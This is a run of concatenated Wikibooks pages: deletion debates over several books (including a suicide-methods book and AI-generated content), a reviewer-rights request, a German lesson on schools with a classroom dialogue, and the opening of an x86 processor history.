If [[Abstract Algebra]] is appropriate, it seems like a fine idea to move there. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 22:59, 7 February 2025 (UTC) ::Eh, yeah, I supposed moving it is better. I just don't think it's suitable for where it appears. [[User:GoreyCat|GoreyCat]] ([[User talk:GoreyCat|discuss]] • [[Special:Contributions/GoreyCat|contribs]]) 01:40, 8 February 2025 (UTC) == [[Puredyne]] == Development of Puredyne Linux was discontinued in 2012, and the software no longer appears to be available for download anywhere. (An archive of the web site is still up - with a bunch of embedded spam links - but the download links are all dead.) Is this a suitable candidate for archival (cf. [[Wikibooks:Outdated books]]), or should it just be deleted? [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 04:35, 5 March 2025 (UTC) :I'd just archive stuff like this. Looks like a decent bit of work went into it, and you never know when someone might need to use Puredyne for some obscure project. I'd be willing to bet mirrors exist of it somewhere, or someone has it on a drive. If you want to find some stuff worth deleting, comb through [[:Category:Allbooks categories]]. [[User:MediaKyle|MediaKyle]] ([[User talk:MediaKyle|discuss]] • [[Special:Contributions/MediaKyle|contribs]]) 11:30, 5 March 2025 (UTC) == [[Template:Qr-twwp]] == This isn't exactly a request to delete the template, but rather to merge it with {{tlx|Copypaste}}. The {{tlx|Qr-twwp}} template serves the same purpose as {{tlx|Copypaste}}, but without the seven-day period after which the page is deleted. This leads to confusion, as well as a perpetually full [[:Category:Queried pages]]. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 17:37, 30 March 2025 (UTC) == [[Ghouls of the Miskatonic]] == I don't think that a plot summary of a book is in-scope here. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 18:43, 20 August 2025 (UTC) :{{vd}} - at least, not a summary of ''this'' book. A summary and/or study guide to a notable work of literature might be in scope, but this is certainly not one. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 21:23, 25 August 2025 (UTC) ::Hi. I am the creator of the pages of this book. If I understand correctly, it has to be a summary of a notable work of literature? So what exactly is defined as such? I only started this as I thought it would be fun, interesting and encouraging to others who read the Arkham Horror novels, and I thought it was permitted as I've seen other summaries of books on wikibooks. [[User:Dayne90|Dayne90]] ([[User talk:Dayne90|discuss]] • [[Special:Contributions/Dayne90|contribs]]) 13:27, 26 August 2025 (UTC) :::Your problem is it is just the plot... it needs to include an educational textual analysis to be in scope [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 12:47, 28 August 2025 (UTC) ::::And ideally it'd be a text which has ''already'' been the subject of literary analysis, such that the analysis on Wikibooks isn't original research. A notable work of literature like ''Frankenstein'' or ''Moby-Dick'' would easily meet that requirement; a tie-in novel for a tabletop RPG probably does not. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:08, 29 August 2025 (UTC) == [[Objective Projection: Why the Brain Never Forgets Some Stories]] == Undisclosed AI-generated content. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 02:13, 9 May 2026 (UTC) :<nowiki>'''Keep'''</nowiki> — Comment from page author/subject expert. :I am Levent Bulut, the originator of the <nowiki>''</nowiki>Objective Projection<nowiki>''</nowiki> methodology described in this book (ORCID: 0009-0007-7500-2261, Wikidata: Q138048287). I want to address the AI-generated content concern directly and transparently. :<nowiki>'''</nowiki>On the content itself:<nowiki>'''</nowiki> The methodology, theoretical framework (the six-variable operator E(r) = projS(M, T, V, Δ, Ω, Ng), the Six Golden Rules, the Six-Layer Framework), and all original arguments are my own intellectual work, developed and published independently. This is documented through: :* 26 DOI-registered academic publications on Zenodo (search: "Levent Bulut Objective Projection") :* A peer-reviewed submission currently under review at <nowiki>''</nowiki>Digital Humanities Quarterly<nowiki>''</nowiki> :* Parallel Turkish-language Wikibook and Wikiversity pages on the same methodology :* An open-source SFT dataset on Hugging Face (leventbulut/objective-projection) :<nowiki>'''</nowiki>On AI assistance:<nowiki>'''</nowiki> I used AI tools (Claude) for English translation polish and copy-editing from my Turkish source materials — the same way a non-native English-speaking academic would use a human translator or editor. The <nowiki>''</nowiki>ideas, structure, terminology, citations, and arguments<nowiki>''</nowiki> are entirely my own and pre-date the Wikibooks version, traceable through Zenodo DOI timestamps starting in 2025. :<nowiki>'''</nowiki>Proposed remedy instead of deletion:<nowiki>'''</nowiki> I am happy to: :# Add a clear AI-assistance disclosure to the book's preface, per Wikibooks transparency norms :# Add inline citations to the underlying DOI-registered publications for every major claim :# Link to the parallel Turkish version and academic record :This would address the <nowiki>''</nowiki>undisclosed<nowiki>''</nowiki> part of the concern (which is the actionable policy issue) while preserving content that is original academic work by an identifiable author with a published track record. Deletion of original scholarship because translation assistance was used would set a concerning precedent for non-native English contributors. :<nowiki>I request a few days to add the disclosure and citations before any deletion action. ~~~~</nowiki> [[Special:Contributions/&#126;2026-28847-60|&#126;2026-28847-60]] ([[User talk:&#126;2026-28847-60|talk]]) 18:46, 13 May 2026 (UTC) ::Administrative assistance needed: Automated filters blocking structural improvements and disclosures ::'''Request for Help''' — I am Levent Bulut, the author of this book. I have already provided my AI disclosure and academic credentials (ORCID, DOI list) here in this discussion. ::I am trying to update the book to comply with Wikibooks standards by: ::Adding a formal '''AI assistance disclosure''' at the top of the page. ::Restructuring the content into an '''instructional textbook format''' (adding Learning Objectives). ::Converting plain text formulas into '''LaTeX''' ( format). ::Updating references to include full academic '''DOI''' records. ::However, the automated filter is blocking all my attempts: ::If I try to replace the content with the improved version, it triggers the '''"large amount of content removal"''' filter. ::If I try to add specific academic links, it triggers the '''"automated link/spam"''' filter. ::I am essentially trapped by the filters while trying to improve the book and follow transparency norms. Could an administrator please either whitelist my account or manually apply the improved version of the text? I am ready to provide the full MediaWiki code here if requested. My intent is purely constructive and academic. [[Special:Contributions/&#126;2026-28847-60|&#126;2026-28847-60]] ([[User talk:&#126;2026-28847-60|talk]]) 19:15, 13 May 2026 (UTC) ::: Hi, @[[User:~2026-28847-60|~2026-28847-60]]. Your account was incorrectly locked by a steward. It is now currently unlocked. [[User:Codename Noreste|<span style="color:#0024FF">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 17:44, 15 May 2026 (UTC) :::: Pinging @[[User:Projection Architect|Projection Architect]], who was previously LeventBulut. [[User:Codename Noreste|<span style="color:#0024FF">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 15:51, 4 July 2026 (UTC) ::Please review [[Wikibooks:Artificial intelligence]]. It states unequivocally that {{tq|LLMs may not be used to generate or summarize material and ideas at Wikibooks}}, and that {{tq|translations made by LLMs are not allowed on Wikibooks}}. The fact that you did not disclose your usage of AI is part of the problem, but disclosing it does not make it allowable either. ::More broadly, based on what you've said above, the content of this book is a reflection of your personal theories on writing. This is essentially [[Wikibooks:Original research]] and is not permitted. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:36, 13 May 2026 (UTC) == [[Suicide]] == I realize this book has been nominated for deletion before ([[Wikibooks:Requests for deletion/Suicide|1]], [[Wikibooks:Requests for deletion/Suicide (2)|2]], [[Wikibooks:Requests for deletion/Suicide/Suffocation|3]]), but it's been over ten years since the last nomination. The project's position on what material is in its educational scope has shifted, as have some of the facts on the ground. * The chartered purpose of Wikibooks is to produce "open-content textbooks" (cf. [[Wikibooks:What is Wikibooks?]]) which are suitable for use in an instructional environment. Providing educational information about suicide in the context of psychiatry could certainly be in scope, as psychiatry is an educational topic; however, instructional material on how to commit suicide is not an educational topic, and should not be considered in scope. * This book is, and has always been, primarily intended as an instructional work guiding users on how to commit suicide. It provides effectively no meaningful analytical content ''about'' suicide as a topic. Most of the original content in the book was imported from an early-2000s wiki associated with the <code>alt.suicide.holiday</code> Usenet group, the "ASH wiki", which was specifically and unequivocally dedicated to describing and recommending methods by which readers could commit suicide, and this has carried through to the current version of the book. * Most of the content in the book was removed in 2020 (by redirecting it to the book's main page, e.g. [[Special:Diff/3660495]]) over concerns that it was created by a WMF-banned user ([[User:Leucosticte]]), and because it was likely in violation of the ASH wiki's (unclear) copyright. These changes removed most of the content of the book; much of what remains is image gallery pages like [[Suicide/Blades]] which have no educational value. Suicide is a sensitive topic; if it is covered by a textbook, it should be covered tastefully and with an aim to educate. This book is largely the opposite of that. Having it here is doing more harm than good. If this book is deleted, the following related pages should be deleted as well: * [[Template:Suicide methods]] * [[Template:Infobox suicide method]] (currently unused) * [[User:Leucosticte/About ASH]] - from the ASH wiki, as mentioned above * [[User:Leucosticte/Frequently Asked Questions]] - also from the ASH wiki [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:41, 21 July 2026 (UTC) : {{keep|weak keep}} a)&nbsp;Age is no argument. There are many stale underdeveloped books I would rather delete than keeping around. b)&nbsp;The book’s topic is exceptionally difficult to write about. ''This'' impedes collaborative authoring. c)&nbsp;The book does not really explain ''how'' to commit suicide (like a step‐by‐step guide), neither is it the book’s learning objective. d)&nbsp;Even if ''you construed'' the chapter summarizing various suicide methods ''as instructions'', instructional material on how to commit suicide ''is'' an educational topic. In most ''present‐day societies'' it is not ''ethical'' to teach students how to commit suicide, though. e)&nbsp;Therefore the correct path is to first alter the [[WB:WIW#Wikibooks includes instructional texts|project scope]] to censor books on ethical grounds ''and then'' nominate the book for censorship. ‑‑[[User:Kai Burghardt|Kai Burghardt]] ([[User talk:Kai Burghardt|discuss]] • [[Special:Contributions/Kai Burghardt|contribs]]) 04:50, 28 July 2026 (UTC) ::Re. c: most of the explicit directions were edited out in 2020, as noted in my nomination, but are still visible in page history. For a couple of explicit examples, see e.g. [[Special:Permalink/3318613]] or [[Special:Permalink/3654645]]. Providing specific instructions was the original intent of this book, and it has never escaped that legacy. If someone were interested in writing a book ''about'' the phenomenon of suicide, they would be better off starting afresh. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 05:26, 28 July 2026 (UTC) *'''Delete all'''. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 16:17, 28 July 2026 (UTC) * '''Delete all''' per the nomination above. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 02:17, 30 July 2026 (UTC) * '''Keep''' with caution. Rename to "suicide prevention"?--[[User:TunnelESON|TunnelESON]] ([[User talk:TunnelESON|discuss]] • [[Special:Contributions/TunnelESON|contribs]]) 04:03, 2 September 2026 (UTC) *:Re. the rename: absolutely not. There is no content in the book about suicide prevention. If you are interested in writing a book on that topic, please start a new one. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 18:48, 5 September 2026 (UTC) :{{keep}} - :1. "instructional material on how to commit suicide is not an educational topic" - I think it can be construed as one depending on the person (and does not have to imply that the person is at risk) :2. Not a reason. :3. Not a reason. It is up to the community to decide whether to accept a banned user's work. [[User:Leaderboard|Leaderboard]] ([[User talk:Leaderboard|discuss]] • [[Special:Contributions/Leaderboard|contribs]]) 13:37, 6 September 2026 (UTC) == [[Chess Opening Theory/1. g4/1...Na6]] == Nonsense position, one of the worst opening moves for White countered by a move hurting development for Black. [https://www.365chess.com/search_position.php Searching] on 365chess.com finds zero games with this position. See also a similar [[Wikibooks:Requests for deletion/Chess Opening Theory/1. e4/1...e5/2. Na3]]. [[User:1234qwer1234qwer4|𝟙𝟤𝟯𝟺𝐪𝑤𝒆𝓇𝟷𝟮𝟥𝟜𝓺𝔴𝕖𝖗𝟰]] ([[User talk:1234qwer1234qwer4|𝗍𝗮𝘭𝙠]]) 02:20, 13 September 2026 (UTC) :{{vd}} With some reservations, in that just being a bad move doesn't make it ''not'' a strategy. That said, the lack of actual game presence means it's unnecessary to keep around. [[User:EggRoll97|EggRoll97]] ([[User talk:EggRoll97|discuss]] • [[Special:Contributions/EggRoll97|contribs]]) 16:16, 14 September 2026 (UTC) == [[Art And AI]] == Suspected rampant LLM use; this also seems to violate [[WB:BLOG]] and [[WB:SOURCE]], since this seems largely like personal research/personal essays and opinions. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 14:25, 17 September 2026 (UTC) :{{vd}} - as a book, this isn't even particularly coherent. For instance, chapters like [[Art And AI/Tools Of The Artist]] have no clear relationship to the intended topic. And the chapters which do address the topic, like [[Art And AI/Can AIs Go On Strike]], certainly seem more like an opinion piece (if not outright fantasy content) than serious material appropriate for an instructional text. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 00:03, 18 September 2026 (UTC) des1xnhzrh87ai5mg0judnyav76v4ai 4 840 4670895 4666558 2026-09-18T11:21:45Z DavidCota64 3507033 /* DavidCota64 (discuss · contribs · count · SUL account · logs · block log · rfp · rights) (Reviewer) */ new section 4670895 wikitext text/x-wiki __NEWSECTIONLINK__ {{Discussion Rooms}} {{Requests for permissions/Archives}} {{shortcut|WB:RFP|WB:PERM}} [[Category:Wikibooks administration|{{PAGENAME}}]] All [[Wikibooks:User rights|rights]] available on Wikibooks are handled here, including [[Wikibooks:Autoreviewed users|autoreview]], [[Wikibooks:Reviewers|reviewer]], [[Wikibooks:Importers|importer]], [[Wikibooks:Import uploaders|import uploader]], [[Wikibooks:Uploaders|uploader]], [[Wikibooks:Temporary account IP viewer|temporary account IP viewer]], [[Wikibooks:Administrators|administrator]], [[Wikibooks:Interface administrators|interface administrator]], [[Wikibooks:Administrators|bureaucrat]], [[m:CheckUser|CheckUser]], [[Wikibooks:Pseudo-bots|pseudo-bot]], and [[Wikibooks:Bots|bot]] flags. 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All other tools require community consensus and can only be granted by bureaucrats. Access to CheckUser is governed by [[meta:CheckUser policy|CheckUser policy]]. After about one week, if there is consensus to grant access, then a [[Special:ListUsers/bureaucrat|bureaucrat]] (or steward if there are no bureaucrats) will make it so and record the fact here. If not, the bureaucrat or steward may refuse to grant the rights and the request will remain until a consensus is reached. The importer and import uploader permissions require a 5-day discussion before the right(s) can be granted. ;Note(s) :This project allows [[Wikibooks:Global rights policy#Global bots|global bots]], but otherwise does ''not'' allow automatic approval, nor does it utilize the [[:m:Bot policy|standard bot policy]]. = Removal of permissions= {{mbox | image = [[File:Symbol comment vote.svg|40px]] | text = '''Note:''' You may request removal of ''your own'' rights at [[meta:Steward requests/Permissions]]. Requests to remove others' rights should be placed here, whether due to inactivity, or abuse. Proposals for the removal of advanced permissions (included admin and bureaucrat rights) are governed by the [[WB:ADMIN]] policy. A minimum discussion of two weeks is required to remove an admin or bureaucrat for inactivity. }} = Requests for permissions = {{mbox | image = [[File:Symbol comment vote.svg|40px]] | text = '''Note:''' When adding nominations, please use the format <code>=={{tlx|usercheck|Username}} (Right requested)==</code> followed by the nomination. }} == {{usercheck|DavidCota64}} (Reviewer) == I am requesting reviewer permission because automatic promotion appears not to have occurred, although my account meets the published criteria. The account was registered in July 2025, has a confirmed email address, more than 100 edits, sufficient non-talk edits and edit summaries, edits across more than ten pages, the required temporal distribution, and current activity in Recent Changes. I have never been blocked or previously had reviewer permission removed. The permission would support the maintenance and stabilisation of the 46-page active edition of Foundations of the Ontology of Emergent Complexity, whose current revisions are largely awaiting review. [[User:DavidCota64|DavidCota64]] ([[User talk:DavidCota64|discuss]] • [[Special:Contributions/DavidCota64|contribs]]) 11:21, 18 September 2026 (UTC) s3ketsq8h36op8vgs7mvvcilgj0uvc2 0 16515 4670776 4520956 2026-09-18T00:54:44Z It-is-Truly-Meet 3624460 4670776 wikitext text/x-wiki <noinclude>{{Yellow Warning|This page is in severe development. It is and will not be a good read or make much sense until that development is done!}} {{Need soundbite}} </noinclude> {|align="right" | __TOC__ |} [[File:Berlin Universität um 1900.jpg|300px|thumb|Humboldt-Universität zu Berlin, 1900]] =Lesson I.9: Schule= ==Hello from Berlin!== ===School in Germany=== *School is not regulated nationwide but by each land. *German "Kindergarten" is optional—it translates rather to "play school," with "Vorschule" being roughly the equivalent to "Kindergarten." *From the age of six on, all Germans attend a "Grundschule" (elementary school) for four or six years, depending on the Land. *After that, they go to either the "Hauptschule," which is industrially oriented; the "Realschule," which is skill-oriented; the "Gymnasium," which is academically oriented; or the "Gesamtschule," a comprehensive school. *Schooling is obligatory until the age of 16, but the Gymnasium diploma "Abitur" can only be obtained after 12 or 13 years, i.e., at age 18 or 19. *Latin and sometimes even ancient Greek are regularly taught at the Gymnasium. For the "Abitur," at least two foreign languages as well as some calculus and analysis classes have to be taken. *School days go from 8:00 to 13:00. In most lands, only the older students have additional classes between about 14:00 and 15:30. *In most schools, extracurricular activities are offered, such as drama club or school choir, but they are less common than in the U.S. Though many students feel some sort of identification with their school, most are just happy when they can go home. *Generally speaking, many schools still are more formal than US or Canadian schools. *The marking system uses 1 (excellent, 91–100%), 2 (good, 81–90%), 3 (satisfactory, 66–80%), 4 (sufficient, 50–65%), 5 (faulty, 0–49%), or 6 (not sufficient, only used when the student literally hands in a blank sheet or fails). *These marks can be modified with a "+" or a "-" to indicate a tendency, so e.g., 2+ is a fairly good mark that corresponds to about 89%. ==Dialogue== Silke: Jetzt haben wir Mathe. Torsten: Oh nein, ich habe überhaupt keine Lust dazu. Silke: Hast du die Aufgaben gemacht? Torsten: Ja, im Bus. Silke: Super! Kann ich sie abschreiben? Lehrer (Betritt den Raum): Guten Morgen! Klasse: Guten Morgen! Lehrer: Wer möchte die Aufgaben an der Tafel rechnen? Florian? Florian geht zur Tafel, schreibt an und liest vor: "5 plus 8 ist gleich 13" "8 minus 5 ist gleich 3" "3 mal 8 ist gleich 24" "24 geteilt durch 12 ist gleich 2" Lehrer: Sehr gut, Florian! Die Glocke läutet. Es ist Fünfminutenpause. Silke: Schnell, wir müssen zu Musik! Torsten: Au ja, darauf freue ich mich schon. Silke: Was machen wir heute? Torsten: Wir wollen ein Lied von Grönemeyer singen! Silke: Welches denn? Torsten: "Alkohol", glaube ich. Nach dem Musikunterricht: Silke: Jetzt haben wir nur noch Geschichte... Torsten: Komm, wir schwänzen und gehen ins Bistro. Silke: Schon wieder! == Und Satz für Satz... == Oh nein, ich habe überhaupt keine Lust dazu. "Lust (zu etwas) haben" means "feeling like (it)". "Ich habe keine Lust (dazu)" is "I don't feel like (it)". "Ich habe ''überhaupt'' keine Lust" emphasizes it, meaning "I don't feel like it at all." Hast du die Aufgaben gemacht? Have you the tasks done? "Did you do your homework?" Ja, im Bus. Yes, in the bus. This is a common practice of students everywhere in the world, I guess... Notice the contraction of "im", which is derived from "in dem", "in the". Super! Kann ich sie noch schnell abschreiben? Super! Can I just quickly copy them? "Super", "Cool", "Toll", are common exclamations ... "Noch schnell" is here meant as "while there is still time" Lehrer (Betritt den Raum): Guten Morgen! Teacher (enters the room): Good Morning! Klasse: Guten Morgen! Class: Good Morning! Wer möchte die Aufgaben an der Tafel rechnen? Florian? Who would like the tasks on the blackboard calculate? "Who would like to do these questions on the blackboard?" Note that "Tafel" is related to "table", meaning a flat surface, and indeed German "Tafel" can also designate a table prepared for a feast. Don't let the weird order of the words disturb you, even if the phrase seems totally incomprehensible at first. I'll try to construct this bit by bit: This is the basic question and answer pair: "Wer rechnet?" - "Ich rechne." "Who calculates?" - "I calculate." To ask, if you want to do something, you use a construction similar to English: "Wer will rechnen" - "Ich will rechnen." "Who wants to calculate" - "I want to calculate." Note that the "to" is already included in the German word "rechnen". "Rechnen" is clearly already an infinitive, and doesn't need a "zu" to prove it. This is one of the main reasons why complicated conjugations can survive, they contain information that doesn't have to be expressed otherwise then... To be a little more polite (or at least seem like it, since our teacher probably wouldn't take a no for an answer) "Wer möchte rechnen?" - "Ich möchte rechnen!" "Who would like to calculate?" - "I would like to calculate" This is another example of brevity by conjugation. The word "möchte" is a ''Konjunktiv'' form of "mögen" ("to like"). Many Germans don’t realize this or use the ''Konjunktiv'' correctly, but "ich möchte" phrases are popular, so use them even if you don’t understand the explanation above. Let's introduce objects in our phrase: "Wer rechnet die Aufgabe?" - "Ich rechne die Aufgabe" "Who calculates the task?" - "I calculate the task", meaning "Who answers the question" This is a direct object, "Aufgabe" is in the accusative case. Because this is a feminine noun, this is not so obvious, but the structure is the same as in: "Wer sieht den Mann?" - "Ich sehe den Mann." "Who sees the man?" - "I see the man." Now, we also have an adverbial expression of the place. This is an expression that defines the verb, thus ad-verbial. "Wer rechnet an der Tafel?" - "Ich rechne an der Tafel" "Who calculates on the blackboard?" - "I calculate on the blackboard" Now let's put all this together: "Wer rechnet die Aufgabe an der Tafel?" - "Ich rechne die Aufgabe an der Tafel." "Who calculates the task on the blackboard?" - "I calculate the task on the blackboard" Note that the order expressions is widely interchangeable. You can emphasize something by putting it closer to the end of the question. And now for the whole phrase in all its glory: "Wer | möchte | die Aufgabe | an der Tafel | rechnen?" - "Ich | möchte | die Aufgabe | an der Tafel | rechnen." "Who | would like | the task | on the blackboard | calculate?" - "I | would like | the task | on the blackboard | calculate." It wasn't THAT bad, was it? Florian geht zur Tafel, schreibt an und liest vor: Florian goes to the blackboard, writes on and reads out: "Florian goes to the blackboard, writes down and reads out aloud" "zur" is another contraction, this time of "zu" and "der". Note that after "zu" follows the dative case, so "der" is not the masculine but the feminine article. "anschreiben" splits to "schreibt an", and means literally "writing on". It is often used when writing legibly on a large, visible surface such as blackboard or a flipchart. "vorlesen" splits to "liest vor" and translates to "read aloud". "5 plus 8 ist gleich 13" "8 minus 5 ist gleich 3" "3 mal 8 ist 24" "24 geteilt durch 12 gleich 2" So, as you might have guessed, plus and minus are the same as in English - they are just pronounced German. The verbs "addieren" and "subtrahieren" are probably not difficult either... "Ist gleich" or short "gleich" or just "ist" corresponds obviously to "is equal to" or "equals". "mal" means "times". This is also used in every day phrases, such as "100mal habe ich dir gesagt ..." "I told you a 100 times ..." The corresponding verb is "malnehmen" or "multiplizieren" "geteilt durch" is literally "divided by", and the verb is "teilen" or "dividieren". Lehrer: Sehr gut, Florian! Very good, Florian! Now, that was easy! Die Glocke läutet. Es ist Fünfminutenpause. The bell rings. It is five-minute-break Between single classes, there is usually a break of five minutes to allow teachers and students to go from one classroom to another. In most schools, classes such as German, English, History, Philosophy are taught in the classroom. Classes that use special equipment, such as all sciences, music and arts and of course computers and sport are being taught in a specialized lab classes. Roughly every second break is 15 minutes long, and if there are lessons in the afternoon, there's often a break of 45 to 60 minutes for lunch. Schnell, wir müssen zu Musik! Quick, we must to music! This sentence sounds strange. This is, because in everyday German, sometimes the verb ''gehen'' can be left out, if it is clear what is meant. In this case, the complete phrase would have to be "Wir müssen zu Musik ''gehen''". But since Torsten will not think Silke is going to fly there, there will be no misunderstanding. Additionally, the word "class", or "course" is missing, which is the usual way of students to talk about their subjects. Note: In English, the phrase might be "We ''have to'' go to the music room" instead of ''must''. The German translation "Wir haben in den Musikraum zu gehen" would be understood, but is quite formal. Additionally, there is a connotation that the speaker distances himself from the order he is being given. Au ja, darauf freue ich mich schon! Oh yes, to this look forward I myself already! Whew, what was that? Let's start at the beginning. "Au ja" ist an exclamation meaning "cool", "that's great". It has nothing to do with the German equivalent of "ouch!", which is "au(a)!" "Sich freuen" means "being happy". It is ''reflexive'' such as in "I help myself", because the subject and the object are the same. Some phrases simply are constructed like this, even if there seems to be no real reason to this, and many languages know this phenomenon. The "sich" here is technically the accusative of "he, she, it" and is being changed depending on the person: ich freue mich I am happy du freust dich you are happy er, sie, es freut sich he, she, it is happy wir freuen uns we are happy ihr freut euch you are happy Sie/sie freuen sich they are happy Note that "to be happy" actually would be rather translated by "glücklich sein", but it is the closest English equivalent to "sich freuen". "Sich ''über etwas'' freuen" means "to be happy ''about something''". This is kind of self-explanatory. But "sich ''auf etwas'' freuen", literally "to be happy ''on something''" means "to look forward to". This is a common phrase that uses the ''on'' in the same wide sense as in "''on'' drugs", or "living ''on'' something" - there is no spatial relation here... In "darauf" you recognize the "auf". The "da" is a demonstrative pronoun such as in "''that'' place". "Darauf" actually is another contraction which developed a long time ago from "da-herauf". The "darauf" is referencing the word "Musik" from Silke's sentence. So "Au ja, darauf freue ich mich schon" or "to-this look-forward I myself already" just means "Great, I'm already looking forward to that" Maybe it comforts you a little that the English phrase in a word-by-word translation to German would be just as unintelligible... Was machen wir heute? What make we today? "What we (are going to) do today?" Note again, that "machen" often does not translate to "make", but to "do"! Wir wollen ein Lied von Grönemeyer singen! We want a song of Grönemeyer sing! "We want to sing a song by Grönemeyer!" Welches denn? Which then? "Alkohol", glaube ich... "Alcohol", believe I... Note that adding a "glaube ich" is another common phrase, exacly as "I think" or "I believe" can be added to an English phrase. (Never mind the word order, this is because Alcohol ''is'' the object, so the verb is at the second position in the text) [[w:Herbert Grönemeyer|Herbert Grönemeyer]] is a very popular German rock singer from the Ruhr region. His most famous songs include "Männer", "Bochum" (a city in the Ruhr region), "Mensch" and also "Alkohol". Nach dem Musikunterricht: After the music class: "Unterricht" comes from "unterrichten" "to teach", and means simply "class". Better not think about "under" and "right" here, which you might have correctly recognized as the word's components "richten" literally means "to correct". Jetzt haben wir nur noch Geschichte... Now have we only still history... "Now we have only history left" Komm, wir schwänzen und gehen ins Bistro. Come, we skip and go in the bistro. "Come on, let's skip class and go to the bistro instead". As in English, "Komm" can be used to motivate others. There is yet another contraction here "ins" is derived from "in das", meaning "in the". "das" is the neutral article in accusative case here. Schon wieder! Already again! ==Aufgabe== *Make a list of all the contractions used in this chapter. Can you determine the full tables? ==Wortschatz== {| class="wikitable" {{German/Table|Vocabulary|School-Related Verbs|Schulbezogene Verben|0|2}} ! German||English |- | Lesen||To read |- | Schreiben||To write |- | Rechnen||To calculate (doing maths) |- | Studieren||To study |- | Lernen||To learn |- | Zeichnen||To draw |- | Malen||To paint |} {| class="wikitable" {{German/Table|Vocabulary|School Subjects|Schulfächer|0|2}} ! German||English |- |Deutsch||German |- | Englisch||English |- | Russisch||Russian |- | Französisch||French |- | Latein||Latin |- | Mathe/Mathematik||Maths/Mathematics |- | Sport||P.E. or Gym |- | Kunst, Zeichnen||Arts |- | Musik||Music |- | Werken||Crafts |- | Sachkunde, Sachunterricht||Science Lesson in Elementary School |- | Geschichte||History |- |Erdkunde||Geography |- | Politik||Politics |- | Biologie||Biology |- | Geografie||Geography |- | Religion||RE or Religion |- | Ethik||Ethics |- | Chemie||Chemistry |- | Physik||Physics |- | Informatik, Elektronische Datenverarbeitung||Computer Science |} {| class="wikitable" {{German/Table|Vocabulary|More School Words|Weitere Schulwörter|0|2}} ! German||English |- | der Radiergummi||eraser |- | der Bleistift||pencil |- | der Stift, der Kugelschreiber||pen |- | der Füller, der Füllfederhalter||fountain pen |- | das Fach||subject |- | die Klasse||class |- | der Lehrer||male teacher |- | die Lehrerin||female teacher |- | die Schule||school |- | der Schüler||pupil |- | der Student||student (college/university) |- | die Stunde/Schulstunde||school hours |- | die Pause||break |- | die Schultasche||backpack |} <noinclude>{{German/Level I/Footer|100%}}{{BookCat}}</noinclude> k95iizptb41otxqgg0orwbjg7h2mx79 0 51931 4670841 3555190 2026-09-18T02:22:21Z ~2026-50391-89 3626215 I updated the segment about AMDs lineup. Someone else should make it better. 4670841 wikitext text/x-wiki {{x86 Assembly Page}} {{Wikipedia|x86}} The term "x86" can refer both to an instruction set architecture and to microprocessors which implement it. The name x86 is derived from the fact that many of Intel's early processors had names ending in "86". The x86 instruction set architecture originated at Intel and has evolved over time by the addition of new instructions as well as the expansion to 64-bits. As of 2009, x86 primarily refers to [[w:IA-32|IA-32]] (Intel Architecture, 32-bit) and/or [[w:X86-64|x86-64]], the extension to 64-bit computing. Versions of the x86 instruction set architecture have been implemented by Intel, AMD and several other vendors, with each vendor having its own family of x86 processors. == Intel x86 Microprocessors == {{Wikipedia|List of Intel microprocessors}} ;8086/8087 (1978): The 8086 was the original x86 microprocessor, with the 8087 as its floating-point coprocessor. The 8086 was Intel's first 16-bit microprocessor with a 20-bit address bus, thus enabling it to address up to 1 MiB, although the architecture of the original IBM PC imposed a limit of 640 KiB of RAM, with the remainder reserved for ROM and memory-mapped expansion cards, such as video memory. This limitation is still present in modern CPUs, since they all support the backward-compatible "Real Mode" and boot into it. ;8088 (1979): After the development of the 8086, Intel also created the lower-cost 8088. The 8088 was similar to the 8086, but with an 8-bit data bus instead of a 16-bit bus. The address bus was left untouched. ;80186/80187 (1982): The 186 was the second Intel chip in the family; the 80187 was its floating point coprocessor. Except for the addition of some new instructions, optimization of some old ones, and an increase in the clock speed, this processor was identical to the 8086. ;80286/80287 (1982):The 286 was the third model in the family; the 80287 was its floating point coprocessor. The 286 introduced the “Protected Mode” mode of operation, in addition to the “Real Mode” that the earlier models used. All subsequent x86 chips can also be made to run in real mode or in protected mode. Switching back from protected mode to real mode was initially not supported, but found to be possible (although relatively slow) by resetting the CPU, then continuing in real mode. Although the processor featured an address bus with 24 lines (24 bits, thus enabling to address up to 16 MiB), these could only be used in protected mode. In real mode, the processor was still limited to the 20-bits address bus. 